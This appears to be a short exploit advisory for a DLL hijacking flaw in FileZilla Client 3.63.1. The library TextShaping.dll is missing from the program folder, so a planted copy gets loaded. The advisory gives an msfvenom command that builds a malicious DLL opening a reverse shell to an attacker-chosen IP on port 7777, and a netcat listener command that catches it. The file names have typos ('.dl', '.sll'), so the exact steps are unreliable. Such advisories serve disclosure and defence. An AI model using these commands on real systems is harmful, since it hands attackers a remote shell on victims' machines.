FileZilla Client 3.63.1 TextShaping.dl DLL Hijacking

2023.04.06

Credit: Bilal Qureshi

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

#---------------------------------------------------------
# Title: FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking
# Date: 2023-02-14
# Author: Bilal Qureshi
# Vendor: https://filezilla-project.org/
# Version: 3.63.1
# Tested on: Windows 10 Pro 64-bit (10.0, Build 19044)
#---------------------------------------------------------
Description:
FileZilla is a free and open-source, cross-platform FTP application, consisting of FileZilla Client and FileZilla Server. Clients are available for Windows, Linux, and macOS. Both server and client support FTP and FTPS, while the client can in addition connect to SFTP servers.
DLL Library named TextShaping.dll is not present at the FileZilla folder, this file can be loaded with the app.
Make malicious .dll file via msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=7777 -f dll -o TextShaping.sll
place at the destination folder
start listener via nc
nc -lvp 7777
C:\PRogram Files\FileZilla FTP Client>
C:\PRogram Files\FileZilla FTP Client>

See this note in RAW Version

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FileZilla Client 3.63.1 TextShaping.dl DLL Hijacking

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